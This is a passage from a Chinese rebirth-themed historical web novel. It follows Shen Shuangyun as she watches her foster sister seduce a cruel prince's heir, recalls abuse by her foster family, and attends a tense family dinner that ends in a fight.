了解她的性情,她的经历,她受到的苛待……
这算是乞怜吧?
很卑微吗?
沈霜云无法判断,只是,沈家都能那样对待她,她为何不能将事实大白天下,展露人前,为她换取一个,稍稍宽容些的生存环境呢?
“我人微言轻,能做的,只是从善如流,随人心愿!”
“心愿?”裴九卿眼中极快闪过一丝不屑,“你是说,你这般怂恿亲妹妹,婚前私会外男,反而是成人之美?”
“算善举吗?”
“我不是外男,也不是妹妹,就是指路人而已。”沈霜云平静直视,“我什么都决定不了。”
沈婉音若是无心,她能强迫她去问心楼吗?
裴九卿不吭声了。
沈霜云笑了笑,“我知道,二公子慈悲心肠,看不惯人间不公,若是真担心,不如随霜云前往一观……”
“如何?”
说罢,她拉住裴九卿的袖子,往问心楼的方向走。
裴九卿脸色暴躁,仿佛要杀人般,但……
有人要勾引楚清晏那个变态啊!
亲娘寿宴私会啊!
问心楼是佛堂啊!
这多热闹!
有点想看。
裴九卿‘不情不愿’,跟沈霜云衣袖相叠,‘形影不离’地走了。
瞧着……
居然有些亲密。
宴会里,裴寒声视线无意扫过,眉头瞬间拧眉,眸中浮出阴沉。
——
兄妹俩……
别看长的矮,腿脚却很快,尤其是裴九卿,初时,尚且‘勉为其难’被沈霜云拽着,但后来却越走越快。
到问楼心附近时,沈霜云几乎被他拖行。
他们来到楼旁。
今日晋王妃寿辰,楚清晏焚香斋戒,佛前抄经,替母祈福,楼内楼外,都没安排下人伺候,两人转过八宝回廊,来至楼后。
窗户关着。
裴九卿眼底戾气一闪而过。
沈霜云都感觉他想直接闯进去了,谁知,他紧皱眉头,弯下腰身,舔湿手指,把窗纸戳了个洞,将眼睛凑过去。
沈霜云犹豫片刻……
窗纸上,又多了个洞。
兄妹俩排排蹲下,偷偷摸摸地往里看。
入目……
楚清晏穿着身月白色直襟长袍,腰束白月祥云纹的腰封,乌黑头发整着,戴着简单的白玉冠,长身玉立,丰神俊朗。
他那双修长的手,不紧不慢地系着衣带。
衣带?
裴九卿暗暗抽了口冷气。
为什么会系衣带?
结束了?
这么‘兵贵神速’吗?
沈霜云却注意到,沈婉音云娇雨怯,自贵妃榻里起身,来到楚清晏身侧,羞羞答答挽住他的衣袖。
娇怯道:“爷,婉音蒲柳之姿,未嫁之身,爱慕爷至深,今日定情。”
“爷要怜惜婉音啊~”
“你叫婉音?”楚清晏声音低沉,眸光微垂,似有两分意外。
“奴奴娇名婉音,家人都唤奴奴婉儿……”
沈婉音的丰腴娇躯,水蛇般柔软,缠绕在楚清晏劲瘦的腰身上。
楚清晏眸光闪烁,带过抹笑意,矜贵出声,“皇商沈家的女儿?”
“是,奴奴的养父,正是皇商沈万里。”
沈婉音柔声,粉臂上攀,环住他的脖子。
楚清晏搂着她的腰身,静静看她,片刻,突然笑了。
矜贵优雅。
迷的沈婉音双颊粉红,满眼沉醉。
“沈氏养女,裴家亲生?”楚清晏手劲加重。
眸底深处,显出残虐。
沈婉音腰身像被掐断般的疼,她蹙眉,娇喘微微,“是,正是奴奴,奴奴心悦您,一见钟情,愿侍奉爷左右,哪怕为婢为妾……”
“这么爱慕爷?”楚清晏轻笑,猛然旋转。
“呀!”
沈婉音一声娇呼,感觉脖子被钳住。
好疼!
她,她不能呼吸了。
又不敢喊,只能可怜兮兮瞅着楚清晏,“奴奴爱爷,愿意为爷做,做任何事,求爷怜惜~”
楚清晏唇角扯出抹嗜血的笑,然,不知为何,没有动作,反而停手扶住她。
一本正色,温声道:“婉儿情意深重,是小王的荣幸,必然不会辜负佳人……”
“爷,奴奴,奴奴好生感激!”
沈婉音激动的热泪盈眶,顺势递上香唇。
问心楼内,菩萨当面。
两人搂抱着亲吻起来。
后窗纸上,两个窟窿眼儿里,露出四只茫然的眼睛。
许久,许久!
裴九卿直腰,脸色阴沉地朝沈霜云招手。
两人悄无声息地出了回廊,来至树下。
裴九卿晦暗不见底,面色却僵硬,沉默许久,说道:“这天下的确有该死的鬼。”
“她这么急迫,你不算怂恿。”
勾搭这事,按照他审案的经验,应该是天雷地火,羞涩缠绕,掉个罗帕,眉目传情,然后,情书香囊,约黄昏后,拉个小手。
这就上榻了,就亲嘴了?
而且,楚清晏爱好是下作,性格却诡计多端,是个城府深沉之辈,怎么可能这么容易被勾上?
第18章 裴哥哥心情复杂
沈霜云不觉意外。
沈婉音肤浅狠毒,贪慕虚荣,但相貌美艳,身段丰腴,奔放热情,嘴甜如蜜。
除了裴家公子们不领情,凡她接触过的男人,都宠她爱她。
前世,有不少狂蜂浪蝶,追逐她裙下,想摘甜花入后院。
沈婉音瞧不上他们,一心奔着楚清晏去了。
楚清晏对她也有些意思,却只让她粉轿入府。
沈婉音要做太子妃,要显赫,怎肯为妾?
今生,两人的进度,的确有点太快,却也没出乎沈霜云意料。
她……
翘了翘唇角。
有种‘观鱼自跃入沸水’之感。
“多谢二公子还霜云清白。”
“我不是夸你。”裴九卿冷声,脸色顿时变得难看,“不教而诛是为虐。”
“她入火炕,你冷眼旁观,实属不该!”
沈霜云双眸微抬,正想言语,却见裴九卿暴躁不屑的神情下,竟隐隐有几分担忧。
他是担心沈婉音吗?
“二公子,我有良言,她却未必愿意听劝,况且,我在沈家,人微言轻,阻了,反要到被骂嫉妒妹妹,见不得她好儿……”
“并非冷眼旁观,而是无力相阻。”
裴九卿冷笑,显然不信。
阻止妹妹失贞,反而被骂?
谁会那么不识好歹。
他正想斥责,突地……
问心楼门打开,沈婉音粉面羞红走出来,裴九卿沉下脸,躲到树后。
女子重贞洁。
他不屑沈婉音,却不愿害她性命。
裴九卿躲得快,沈婉音没看见他,却一眼瞅着沈霜云,心中满满溢出的得意,让她控制不住想炫耀。
她快步上前,凤凰般骄傲,“沈霜云,世子爷答应娶我进门了!”
“我要做世子侧妃,从此之后,金银我戴得,绸缎我穿得,至于你,哈哈哈,沈霜云……”
你的圆满人生,终于归我了。
她会受世子宠爱,生下长子,世子妃死掉后,世子会给她扶正,她要做太子妃,做皇后,做太后了!
“哈哈哈哈,沈霜云,你就是废物,没有一点比得上我的地方。”
“我稍微一出手,世子爷就爱上了我,养父,母亲,哥哥们也都爱我……”
哪像你,一条死鱼,一块木头,不会讨男人喜欢。
“这点,我的确不如你。”
沈霜云承认,对男人,她没有沈婉音懂行。
但楚清晏,惯来越‘爱’,下手越重,弄得越脏。
“我贺妹妹,如愿以偿。”
“那我得谢谢你啊,我的好姐姐,没有你,我哪有这样的好日子!”沈婉音笑得前仰后合。
她炫耀道:“我们爷答应我,端午节宫中家宴,会带我参加,去拜见太后娘娘。”
“姐姐,你没进过宫吧?要不,我求求爷,也带你去长长见识?”
“多谢妹妹,贵妃娘娘有召,端午那日,我随母亲入宫,不烦劳妹妹了。”
沈霜云垂眸。
沈婉音面色一沉。
进宫!!
前世,谢夫人只带她去过一次,裴贵妃也没见她,就让她在外面磕了个头。
那两个老妇!!
“哼,我要拜见的是太后娘娘,召你的,也就是个贵妃,得意什么?”她嘟囔着,扔下一句,“你记得,过几天回家,商量替我添妆。”
说罢,扭着腰身走。
许久,裴九卿从树后走出来,脸色更加阴沉了。
观滴水可知沧海。
沈家能把沈婉音养的,对亲姐姐这种姿态,沈霜云在那家的处境,可想而知。
“二公子觉得如何?霜云可有余地?”
沈霜云平静看他。
裴九卿启唇三次,都未言语,最后,狠狠踹了脚大树,震得树叶都掉下来了。
他干巴巴地道:“回去吧,别让母亲久等。”
“好。”
沈霜云神情恬静。
似是习以为常。
裴九卿心中,突生复杂。
竟像心疼。
——
兄妹俩悄无声息,回到寿宴,戏台上,戏子们热热闹闹的,唱到了【五福临门】。
裴九卿去到男宾处。
沈霜云也回到谢夫人身边,安安静静地当个乖巧‘挂件’。
宫里,太后娘娘和庆元帝颁下赏赐,晋王率全府领旨谢恩。
楚清晏出现,他献上亲手书写,供奉佛前的‘长寿经’,引得宾客们连连称赞。
“世子爷孝顺……”
“王妃娘娘有福气啊。”
“世子爷风度翩翩,举世无双。”
晋王妃神采飞扬,把刚刚的不悦全忘了。
沈婉音坐在角落,高高昂头,余有容焉。
一场宴会,直到傍晚方才结束。
沈霜云坐上镇国公府的马车离去。
扬鞭甩出的尘土中,沈家人苦苦等在后门,眼巴巴盼着。
他们已经呆站大半天了。
许久,许久……
直到曲终人散,宾客们都离开,王府管事们开始吩咐下人洒扫了,沈婉音总算出来,跟家人汇合。
“怎么样了?”
沈万里急声。
沈婉音眉眼得意,卖弄道:“爹爹,我和世子爷情投意合,相见恨晚。”
“他答应下,会向太后娘娘请旨,让我以‘第一侧妃’的身份进府。”
“爹,娘,世子爷爱我。”
“好,太好了,我家婉音果然争气。”沈万里放声大笑。
本来,他还有些后悔,送了跟家里没那么亲密的沈霜云回镇国公府,他们能借上的光少,但如今,婉音做了世子侧妃,那是皇亲国戚。
不比一个公府姑娘强?
女人都是赔钱货,要嫁出去的。
况且,万岁爷年迈,膝下空空,必然过继宗室子,晋王可是陛下的亲弟弟!
沈万里呼吸粗重。
沈家人也都欢天喜地,像捧凤凰似的,把沈婉音捧回府,又开始商量她的嫁妆。
周氏放言,“婉音是第一侧妃,必要体体面面的,咱们不能小气,得倾尽所有,霜云占了她的便宜,做上公府千金。”
“她得多出。”
“娘,我今日让姐姐找机会回府了。”
沈婉音眉开眼笑。
周氏柔声赞,“做得好,那是她理应补偿的。”
沈家合阖欢庆。
镇国公府的马车回府后,沈霜云跟谢夫人分开,回了降云阁,早早睡下。
梦里,楚清晏清俊的脸庞,隐在圆月的黑雾里,半掩半遮,阴沉诡谲,他矜持轻笑,启唇仿佛要说什么。
沈霜云听不清。
一夜。
她不曾睡好。
裴九卿……
也不曾。
他心情复杂地砸了十多个茶杯,次日,顶着失眠熬出黑眼圈,越发暴躁失控的脸。
去找了裴寂之和裴寒声。
第19章 沈姐姐是怕进宫吗?
初晨。
圆月刚刚落下,天色尚未浸染朝阳。
裴九卿一脚踢开四弟的院门。
彼时,裴寂之也在裴寒声院中,两人正在商讨昨日晋王府宴,太后高调赐赏的意思……
裴九卿闯进来了。
像个猎豹,又凶又小!
杀伤力十足。
裴寒声猝不及防,吓了一跳。
“二弟,你怎么了?”裴寂之凝眉关切。
裴九卿肤色白皙,眼下乌痕太明显了。
“我吧,昨天遇见个事,虽然是野合私情,又事女眷清白,按理不应该外传,但有关晋王府。”
“……想想不能瞒着你们。”
裴九卿沉脸,把那对野鸳鸯的事讲了。
兄弟俩沉默。
许久。
裴寒声冷笑,轻蔑鄙夷,“果然,有其母必有其女,柳氏生不出好孩子。”
“蛇鼠一窝。”
裴寂之俊颜淬砺。
沈婉音自甘下贱,愿荐枕席,固然恶心,但楚清晏接受了她。
晋王的门第,不是空有几分美貌就能攀上的。
楚清晏的侧妃,俱是豪门贵女,沈婉音凭什么?
晋王府总不至于是,贪图皇商家那点银子吧!
“还是冲着咱们家来的。”裴寒声眸光冷沉,“咱们兄弟没把那两个庶出看进眼里,爹爹却是在乎的。”
“沈霜云刚回府,爹就写了十几封信回来,又拐弯抹角,想让咱们同意,把沈婉音一起接受了。”
“楚清晏是看重这个,想拉拢?算计?”
“柳氏贱妇,害人不浅。”
“无论他想如何,都是枉然。”裴寂之漠然。
裴搴声冷笑不止。
裴九卿咧嘴,神色犹豫,好半晌,不情不愿地说:“老四,我瞧沈霜云和沈婉音,性格大不相同。”
“她看着很内敛,有几分沉稳,没随柳氏……”
柳姨娘生前,就是轻浮狂浪,骨头轻的性子,沈婉音十分像她,至于沈霜云,裴九卿品着,倒有几分继母谢氏的风范。
“二哥,我恨那对姐妹,跟她们性格好坏没关系,她们是柳氏的女儿。”
裴寒声眼底戾气一闪而过,“娘,已经死了。”
“柳氏害死了她。”
裴九卿沉默,不再谈沈霜云在沈府的遭遇。
“好了,寒声,那姐妹两人如何,无足轻重,重要的是晋王府。”裴寂之打断。
裴寒声飞快收敛情绪,脸上恢复慵懒笑意,他道:“楚清晏城府深,套不出话,沈婉音却是个浅薄的。”
“把她约出来见见,再带她那几个哥哥……”
“你安排吧。”裴寂之拍案定音。
——
沈婉音得偿所愿,沈家攀上高枝儿,约莫是不想沈霜云占便宜,也可能觉得她不重要了。
居然没人来找她。
沈霜云还是通过赵盈盈才知晓,沈墨言已经重新回宫当差。
但……
不是南门侍卫,而是调去东暖阁,那是庆元帝平日用的书房。
算是侍卫‘福地’。
“我问我大堂哥了,他是走晋王府的关系,好像是世子特意吩咐的,要提携他呢。”
赵盈盈盘腿坐榻里,一边嗑瓜子,一边挤眉弄眼。
她大伯家的长子,是宫中内庭侍卫首领之一。
消息很灵通。
“烂泥扶不上墙,渣子怎么提携都没用,沈家那傻货,刚进宫就敢烂赌醉酒,调了职也好不到哪去!”
“你放心,他起不来,欺负不着你。”
裴照野哼声,捞起赵盈盈扒出的小堆瓜子,一下全扔嘴里了。
“啊啊啊啊!!裴照野,我扒了好久的,你还我!!”赵盈盈恼怒,一个虎跃飞扑上前。
小揪揪狂飞乱舞。
裴照野被她撞倒,两个小孩儿打成一团。
沈霜云失笑,眉目凝重。
沈家攀上晋王府了,沈婉音要是嫁进去,他们便彻底绑定。
而她,是国公府的姑娘。
晋王府和镇国公府,血海深仇,注定一死一生,不能两全。
她和沈婉音命运会如何,鹿将死于谁手?
两个小孩儿,越闹越厉害。
一旁,赵丹雪见状不对,面团般拦到两人中间,温温吞吞地说:“照野,盈盈,你们要好好相处,别打架啊。”
她拉住妹妹的手。
赵盈盈一甩胳膊就挣脱了,她也不恼,好脾气地抿嘴笑着,转而去拉裴照野的衣摆,又看向沈霜云,“沈姐姐,你坐,你坐。”
“宫里沈侍卫的动向,盈盈会一直看着,你别担心。”
“没事,我不担心。”
沈霜云回神,抿嘴一笑。
她想起前世。
沈墨言能从王府侍卫,一路高升至将军之职,统率三军。
她,怎样都要占大半功劳的。
沈墨言骨头轻,得势就张狂,是她耗尽心血,用无数能兜底的教训,生生把他的毛病板过来。
他粗鲁无文,空有一身武力,也是她在世子后宅,冒险救下同为楚清晏侍妾的,两朝名将许老将军的侄孙女。
沈墨言才拜得名师。
没有她循序渐进,掰他性子,替他谋师,沈墨言也只是个得意忘形,空有一身武力的匹夫,或有几分天赋,但,凡立一功,必闯十祸。
楚清晏敢这样用他,十成把握的太子之位,恐怕都要减去几分。
可笑沈墨言功成名就时,反来埋怨她,“就是你,一直打压我,我明明天生将种,早该封狼居胥,你却一直打压我,耽误我。”
“都是你的错,否则,我早就封王封侯,替婉音撑腰了。”
“我知道你是恼我偏心婉音,但婉音天真善良,比你强百倍千倍,我不偏心她,难道偏心你这个恶毒女人。”
“对了,差点忘了,大姐姐。”裴照野突然转头喊她,“后天是端午节,宫里设下家宴,咱们府里要参加,你也一块去。”
“我娘叮嘱,让咱们早点回府,她好给你置办几套衣裳。”
“咱们回去吧。”
进宫?
想起前世,裴贵妃就是‘百花宴捧杀’的重要参与者,沈婉音也要借端午宴求下赐婚,再有,太后娘娘的古怪脾气,庆元帝和她的复杂母子情……
沈霜云半点没有进宫的兴奋。
只觉头疼,她叹息起身,“好,回就回吧。”
赵丹雪见状,神情微动,启唇柔声,“沈姐姐是害怕进宫吗?没关系,太后娘娘性格很好,很慈祥的……”
第20章 我们霜云也是个好孩子呢
赵丹雪十四岁,温柔如水,纤细敏感。
性子像团软乎乎的棉花。
沈霜云望她。
她柔柔地笑。
“丹雪说这话……”
“你很了解太后娘娘?”
“嗯。”赵丹雪点头,柔柔软软地道:“赵姐姐,我娘曾是太后的宫女,服侍太后十几年,后来出宫嫁给我爹。”
“太后娘娘记得我娘,时常传她进宫说话。”
“我总陪着。”
“太后娘娘重情,爱热闹,喜欢活泼开朗,会撒娇爱说话的女孩儿……”
赵丹雪小声。
私物被盗的事儿……
妹妹虽然没明说,可她知道,是照野和沈姐姐帮着解决的,她心中感激,偏又羞涩地不好意思道谢。
如今,沈霜云有了用她的地方。
她恨不得把脑子里知道的,太后娘娘的所有喜爱全倒出来,塞给沈霜云,让她顺利进宫,讨得太后娘娘的欢心。
太后是重情~
可惜,她重的是小儿子晋王,不是当今庆元帝。
沈霜云叹息,笑着向赵丹雪道谢,随后,就跟裴照野回到国公府,刚好遇见谢夫人派来找他们的嬷嬷。
姐弟俩便跟她,前往正院。
谢夫人刚开了私库,翻出裴贵妃赏的宫缎,正跟绣娘商讨花样子,一见姐弟俩来了,便笑着招手。
“照野和霜云回来了,我正要给你们两个做新衣裳呢。”
“快过来瞧瞧,有没有喜欢的料子。”
裴照野笑嘻嘻地跑上前,钻进谢夫人怀里,撇着桌上堆积的料子,嘴里嫌弃,“怎么都是些花花绿绿的颜色,娘,我已经长大了,不想在穿红色。”
实则……
眼里透着喜悦。
小孩子嘛,哪会不喜欢新衣服呢?
“母亲安好。”
沈霜云敛身福礼,面上有一闪而逝的羡慕。
在沈家时,她一直是捡沈婉音剩下的旧衣服穿,幼时不懂事时,也为此委屈地找周氏哭闹过。
结果,挨了周氏的耳光。
“府里把你捡回来,愿意养你,已经是天大的恩情了,你能不能懂点事?跟你妹妹争衣服穿,有没有个姐姐样儿?”
“贪慕虚荣,眼皮子浅的东西,怪不得被人扔了。”
小霜云委屈的哭。
那时,沈万里就来摸摸她的头,温言细语的教导她,“霜云,你是女孩子,是家里的养女,不能索取什么,要一直付出,回报家族,那样才招人喜欢。”
“你不能惹家里人生气,要听话,要顺从,否则,爹娘就不要你,哥哥们也不会喜欢你了。”
“那后果很严重的,你会被赶出府去,像乞丐一样讨食,被人打骂,拐进青楼,死无全尸。”
“青楼女子死的多惨,你知道吗?浑身上下没有一块好皮……”
彼时,刚刚六岁的小霜云,委屈害怕。
她不敢告诉沈万里,她其实不是想跟妹妹抢新衣服,而是,想让周氏也抱抱她。
她羡慕妹妹被周氏哄着,笑语欢声挑布料的样子。
像是真的母女。
她从来都没有过。
她也没有非要新衣服,那给她做双新鞋可以吗?她虽然身子比妹妹瘦,但脚长得比妹妹大,穿妹妹的鞋,走路好疼,把她的脚趾都磨破了。
可是她不敢。
沈万里的话,对一个六岁的孩子来说,太可怕了。
沈霜云压下眼底浮出的酸涩,笑着走到桌前。
谢夫人搂着裴照野,一脸被他吵到头疼的模样。
“你不能穿黑色,端午节日,宫中邀请,你穿黑的像什么话?”
“我不,我不,我喜欢黑的!”裴照野哼声。
一脸‘小爷长大了’的模样。
谢夫人无奈地瞪眼睛,气的戳他额头,眼里满是宠溺和笑意。
裴照野一点都不怕她,梗着脖子,放肆飞扬。
沈霜云静静地,看得入迷。
“霜云,傻站着干什么?过来啊。”谢夫人注意到她,笑着唤她,口中道:“你肤色白,挑些月白色,胭脂粉的便好看。”
“正好,我去年生辰时,贵妃娘娘赐了两匹胭脂粉的蜀锦,我这个年纪,不好穿那么鲜艳的颜色,刚好给你。”
“你鞋子是不是不合脚?”
“我看你走路总慢悠悠的,这回让绣娘多做些,一并换了吧。”
沈霜云微微一愣,呼吸片刻静止。
许久,她声音极轻,“谢谢母亲体恤。”
“我是你母亲,这是应该的,谢什么?”谢夫人挥手。
哪有什么应当?
沈霜云垂下羽睫。
谢夫人不喜她,又误会她利用照野,为此敲打她,但,依然愿意照佛。
自她进镇国公府,院子是谢夫人准备的,衣、食、住、行,丫鬟,仆妇,也全是谢夫人安排的,晋王妃蔑视为难她时,是谢夫人护她。
如今,甚至能发现她鞋子不合脚。
沈霜云知晓,谢夫人没改变对她的印象,但她的体贴温柔,还是佛照到她身上,只是因为……
谢夫人是好人。
她本身就好,所以,谁都能得到她的眷顾。
沈婉音,原来前世,你遇到这么多善意。
沈霜云突地笑了,笑容里充满不甘。
她不想离开镇国公府,那场百花宴,那丢人的闹剧……
沈家人心疼沈婉音,他们愿意托举她,捧着她,无论她多丢人,多落魄,他们都愿意接纳!
那她呢?
谁能接纳她?
前世,那件事后,镇国公府要把沈婉音送去乡下,是沈万里全力托举,恢复她的名声,又把她接回沈府,依然做她的二姑娘。
周氏上门逼问谢夫人‘嫡母职责’,谢夫人碍于压力,默许沈婉音两府居住。
那她呢?
没成功度过百花宴,她会被下放到哪里?
沈霜云原想施恩照野,再用谢夫人的嫡母身份压制裴寒声,前世,周氏能做,今生她也行,但……
她真要挑着谢夫人,对抗四个成年继子吗?
继母难当,照野才八岁,日后要靠四个哥哥提携的……
想到这里,沈霜云猛地抬手,死死掐住手臂。
心中恶狠狠地骂着自己:
沈霜云,你是废物吗?你记吃不记打啊?
别人给的一点暖,就想捧上整颗心,前世的教训,没受够吗?
烧死不疼了?
但……
那怎么能一样呢?
沈霜云面无表情,泪水却沁染眼眶。
她忙垂眸,若无其事地擦掉。
整个下午,沈霜云和裴照野都留在正院,谢夫人替两人挑了三套衣裳,交给绣娘后,姐弟俩又陪她用膳读书。
期间,她想件事来……
端午宴,进宫,庆元帝!
前世,楚清晏回府见她时,偶尔提起的只言片语。
或许……
她有别的机会,度过百花宴的难关,但,太危险了。
她一直下不了决心,就想着做足准备,事到临头,随机应变,谁知端午佳节尚未来临呢,裴寒声传了信来。
“你是我妹妹,婉音也是,府里虽没接她回来,骨血亲情总不会变。”
“我有心和她叙叙兄妹情,霜云,你来坐陪吧。”
第21章 霜云,你替妹妹添妆吧
裴寒声是亲自来降云阁,邀请沈霜云的。
他眉眼弯弯,嘴角轻扬,如春风拂柳般柔和。
看得沈霜云心乱如麻,神情恍惚。
这笑面虎,定然没安好心,但……
拒绝不了。
他都亲自上门相邀了,拒绝,谁知会发生什么?
沈霜云,“好,四公子待我换身衣裳。”
裴寒声颔首,又哄着她说了许多话,拐弯抹角打探沈府情况,以及,晋王府问心楼那场私会。
沈霜云:……
跟亲生哥哥,屡次三番讨论亲生妹妹的艳遇,而艳遇对象,是她前世的相公。
好古怪。
太微妙了。
但……
不说不行。
六元及第的探花郎,文采如何,不得而知,装聋作哑的本事却好,深得文官腹黑精髓,嘴皮子也利索。
沈霜云的不情愿,他视若无睹。
最终,沈霜云不敌,溜进内寝换衣服了。
裴寒声犹豫再三,总算没跟进来。
梳妆换衣,收拾妥当,沈霜云跟裴寒声出院,行至府门前,又遇见了裴寂之和裴九卿。
裴家兄弟倾巢出动了。
裴家和晋王府,的确是你死我活。
楚清晏略有动作,裴家就很重视。
沈霜云坐上马车,车夫扬鞭,这时,裴照野匆匆忙忙跑出来,口中叫嚷,“等等我,等等我,我也要去!”
他脚步飞快。
车夫停手。
三位裴公子探头看他。
沈霜云身为女子,独一辆车,闻言掀开车帘。
裴照野毫不犹豫略过三个哥哥的马车,一个箭步,飞身扑进沈霜云的车厢,他满脸汗水,呼吸急促。
“累死了,累死了。”
一屁股坐下,穿着小官靴的脚翘着。
沈霜云忙掏出手帕,替他擦汗,“怎么跑得这么急,过会该肚子疼了!”
“我听清风说,四哥要带你去见姓沈的,怕你被欺负嘛!”裴照野张嘴,像小狗般吐着舌头。
好像这样能散热。
沈霜云动作一顿,替他擦汗的力气更轻了。
马车开动,很快来到昭明楼,裴寒声早早定下雅间,小二迎上前带路,几人上得三楼,推门而入。
雅间里。
沈墨言、沈宁川、沈今安众星拱月般,围着沈婉音。
沈霜云攒眉,这才知道,原来沈家公子们也来了。
“草民见过裴世子,见过裴大人。”
沈家三子起身,出声见礼。
裴寂之漠然。
裴九卿撇嘴。
“几位沈兄弟,不必客气,坐下吧。”裴寒声笑眯眯的。
目光扫过端坐上位,趾高气扬的沈婉音,神色闪过抹厌恶。
众人落座。
场面寂静。
沈家三子商户出身,又不像前世久经磨炼,见识尚且浅薄,骤然面对权贵,尤其是庆元帝重臣,手握大权的裴寂之!
他们心里胆怯,一时,竟然不敢开口。
还是沈墨言,到底当了几天东暖阁的侍卫,皇帝都远远见过,自觉跟弟弟们不同了,他昂着脖子,率先打破僵局。
“霜云,你怎么没回家里?婉音不是跟你说,让你回去替她添妆吗?”
“居然躲了,是舍不得银子?都是国公府的姑娘了,眼皮子还那么浅,家里真是白教你了,不能学学婉音,轻财重义,一掷千金。”
“那才是大家闺秀的品德。”
斥责沈霜云,捧沈婉音,这是他的习惯,不存在恶意,就是打开话题罢了。
沈家人同样不觉得有问题,甚至,没感觉到,这对沈霜云来说是羞辱。
哥哥骂几句怎么了,很正常啊。
犯了错,难道不能说?是看重她,才愿意教导她。
但……
裴寂之和裴寒声是第一回见沈霜云和沈家人的‘日常相处’,兄弟俩同时攒眉,隐晦互望。
沈霜云神色从容,“大哥说笑了,我一个未嫁女子,哪有私房替妹妹添妆,况且,爹爹送我回镇国公府时,只给了我二十两银子。”
“我到愿意都给妹妹,就是……”
“杯水车薪吧。”
“妹妹要吗?”
“二十两?我娘明明送了你家两万两银子,你们就给我大姐姐二十两?”裴照野大怒,丸子头都气竖起来了,“打发要饭的呢?”
“沈墨言,你进宫后调职,就花了一万,那是我大姐姐的钱!”
“你怎么有脸用?”
沈墨言愕然,脸色胀红,呐呐不能言。
沈婉音见状,赶紧道:“那是爹怕姐姐乱花钱,女子手里存太多银子不好,容易大手大脚。”
女子不该有太多银子?
前世,沈家还真是这么做的,沈霜云被送入晋王府为侍妾,就带了个包袱皮儿,里面只有五两半的散碎银子。
她想多求些傍身,周氏就要骂她,“怎么就知道抠家里?”
“一个养女也想要嫁妆?”
为人侍妾,生存不易,没银子更是寸步难行,她在晋王府受楚清晏折磨,却连伤药都买不起,拖着残躯回沈家求救。
沈家人再替沈婉音过生日。
沈墨言送她金镯。
沈宁川赠她珍珠。
沈今安更是拿出八百两,打成薄薄的银叶子,扔进流水里,就是为了让心爱的妹妹赏一赏‘浪里飘花’。
沈霜云向他们求十两银子。
沈家人却觉得她嫉妒,在跟妹妹抢风头,沈今安把银叶子都扔进水里,让她去捞。
她浑身是伤,发着低热,那时又是冬天,真下水就死了。
是沈万里叹息,说了一句,“算了,你心性这么不好,谁愿意帮你?也只有爹心疼了。”
他扔给沈霜云二两银子。
可笑那时,她竟是感激的。
沈霜云冷笑,语气平淡的道:“是,妹妹说得有道理,就是不知,爹爹给你准备了多少嫁妆?”
“不都卖了店铺和良田,还讨到我头上了吗?”
沈婉音愣了,得到楚清晏的承诺,要被赐婚了,她正是志得意满的时候。
此回邀请,她觉得是裴家兄弟想巴结她。
她是要做皇后的人啊,大哥也去到东暖阁,眼看要成为前世她所知的,那个勇冠三军的白袍小将。
沈家立时显赫,沈霜云为什么敢讽刺她?
“姐姐,我是不想五公子误会大哥和爹爹,替他们解释罢了,你攀扯我干什么?爹爹替我备嫁妆,是疼爱我,你嫉妒也没用!”
“你给嫁妆怎么了?”
“我要做世子侧妃呢。”
你前世就是个最卑微的侍妾。
沈婉音气红眼眶。
沈墨言见她掉泪,心疼不止,又气恼万分,他拍案而起,大声道:“沈霜云,你故意挑事是不是?”
“你怂恿五公子找咱们麻烦,咱们都挨过他几回打了,五公子年纪小,不懂事,我不跟他计较,反而你……”
“你怎么变成这样了,搬弄是非,借刀杀人,简直就是势力小人!”
“我那沉默敦厚,孝顺父母,把亲情视作性命的大妹妹去哪了?”
第22章 裴二哥哥怒了
霜云的确是沉默敦厚,孝顺爹娘,重视他们几个哥哥,把他们当成性命。
唯一不好的地方,就是爱争风吃醋,跟婉音别苗头。
小时争衣服穿,长大争公府千金,婉音善良美好,让给她了!
她怎么还不满足?
是,他当大哥的,刚刚是说了她几句,那又怎么样?他说不得吗?
就算大庭广众,伤到她女儿家的颜面,为什么不能忍一忍,私下找他说,非要当众给他难堪?
果然,被骂是她咎由自取,沈霜云就是不如婉音懂事大方!
不能怪他们兄弟偏心!
沈墨言怒目而视。
裴九卿的忍耐,到达顶点。
他脾气本就暴躁,早没出手,已是忍了又忍,如今终于忍不住,猛然抄起酒壶,冲沈墨言的脸砸过去。
“你给老子闭肛!!”
他起身狂踹沈墨言。
沈墨言仰面翻倒,银壶里的酒也撒到他脸上,烈酒融入眼睛,又被踢得满地翻滚。
“啊,住手,救命,疼疼疼!”
“二哥,你……”
是维护沈霜云吗?
裴寒声骤然回头,表情阴沉地看过来。
裴九卿咬牙,表情比他还阴沉,狂暴得像是想提刀杀人。
他暴喝,“姓沈的,你说话归说话,站那么高干什么?显你脖子直啊!!”
“你说谁是小人!!”
他没维护谁!!
就是看不惯有人站得比他高!
裴寒声冷笑,想要嘲讽,却被裴寂之按住。
他向四弟摇头。
裴寒声深吸口气。
这时,沈宁川和沈今安已经扶起沈墨言,帮他擦去脸上酒水。
沈墨言不敢跟京兆府尹讨公道,甚至把腰都弯下,个儿显矮,他沉默着,好半晌,咬牙切齿地说:“好,好,沈霜云,你欺我至此。”
“今日起,咱们兄妹之情尽断。”
“你别想让我在叫你一声妹妹,我们沈家,没有你这样无情无义的女儿。”
他知道这话对沈霜云的杀伤力有多大。
他也知道,她为什么这般!
哼,就是抢了婉音的国公府小姐位置,觉得有资格争宠了,想要跟婉音别苗头。
妄想!
他必要把沈霜云的气焰打下去,免得她真觉得,比得了婉音一根头发!
“大哥这话,能代表父亲吗?”
沈霜云缓缓开口。
一没大惊失色,二没下跪求饶,这大大出乎沈墨言的意料。
怎么回事?她明明应该害怕胆怯,拉着他的衣摆,一边嚎啕大哭,一边哀声祈求。
就像小时候,她替婉音梳头,笨手笨脚,弄疼了婉音,沈默言拽着她的胳膊,把她踢出府门。
那时,霜云就跪在府门外,哭着哀求,“哥哥,我错了,别不要我。”
那时她几岁?
四岁?五岁?
明明幼时,知道对他服软,怎么越长大,越不懂事了?
一时间,沈墨言僵在那里,下不来台,叫嚷拽着沈婉音要走。
沈宁川和沈今安他劝,“大哥,你冷静点,别生气啊……”
大哥做了东暖阁侍卫,前途远大,他们还苦苦读书,没有前程呢,镇国公府位高权重,裴世子,裴府尹,裴状元,个个都是权臣。
跟他们结交,那是一步登天。
爹送沈霜云回去,为的就是这个啊。
怎么能走?
沈家三兄弟纠缠着。
许久,许久,裴寒声收敛情绪,皮笑肉不笑地给了个台阶,“自家兄妹,吵吵闹闹也是正常。”
“做哥哥的,哪能真跟妹妹计较!”
“沈兄,坐。”
